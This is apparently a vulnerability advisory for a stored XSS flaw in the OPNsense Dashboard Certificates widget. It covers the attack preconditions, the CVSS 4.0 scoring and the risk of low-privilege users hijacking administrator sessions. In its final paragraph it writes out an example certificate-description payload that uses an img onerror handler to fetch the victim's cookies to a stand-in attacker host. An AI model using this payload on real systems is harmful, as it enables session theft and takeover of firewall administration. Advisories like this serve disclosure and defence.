OPNsense EUVD-2026-52433

The attacker must hold a valid OPNsense account with privileges sufficient to create or modify certificates via the trust certificate API (PR:L per CVSS 4.0); unauthenticated exploitation is not possible. A victim must open the OPNsense Dashboard while authenticated, exposing the Certificates widget - this is passive interaction (UI:P) requiring no deliberate victim action beyond routine administrative use. The Dashboard Certificates widget must be present in the victim's Dashboard layout. Exploitation is bounded by the requirement for prior authenticated attacker access; however, once a payload is planted it persistently targets all authenticated Dashboard viewers regardless of their privilege level, enabling low-privilege-to-admin session escalation.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P, score 5.1) accurately captures the key risk boundaries: network-accessible exploitation, no unusual attack complexity, but requiring authenticated low-privilege access and passive victim interaction. Impact metrics reflect that the OPNsense server itself is unaffected (VC:N/VI:N/VA:N) while the subsequent system - the victim's browser session - sustains low confidentiality and integrity impact (SC:L/SI:L), consistent with session hijacking or credential theft. The stored nature of the XSS materially elevates practical risk beyond the score suggests: a single low-privilege attacker (e.g., a certificate administrator) can silently compromise all authenticated Dashboard users including administrators without further interaction. No EPSS score was supplied and the vulnerability is absent from CISA KEV, so no confirmed active exploitation is known. The critical asymmetry here is privilege escalation through the browser: a low-privilege planter can harvest high-privilege sessions, which the base CVSS score does not fully convey.

An authenticated attacker holding certificate management permissions submits a new certificate via the trust certificate API with a description such as "><img src=x onerror=fetch('https://attacker.example/?s='+btoa(document.cookie))>. The payload is stored persistently in OPNsense configuration. When any authenticated user - including a firewall administrator - subsequently opens the Dashboard, Certificates.js interpolates the raw description into the data-tooltip HTML attribute without encoding, triggering the onerror handler and silently exfiltrating the victim's session token to the attacker's server. No public proof-of-concept is referenced in the available data, but the vulnerability class and code-level commit diff make the attack vector straightforward to reproduce.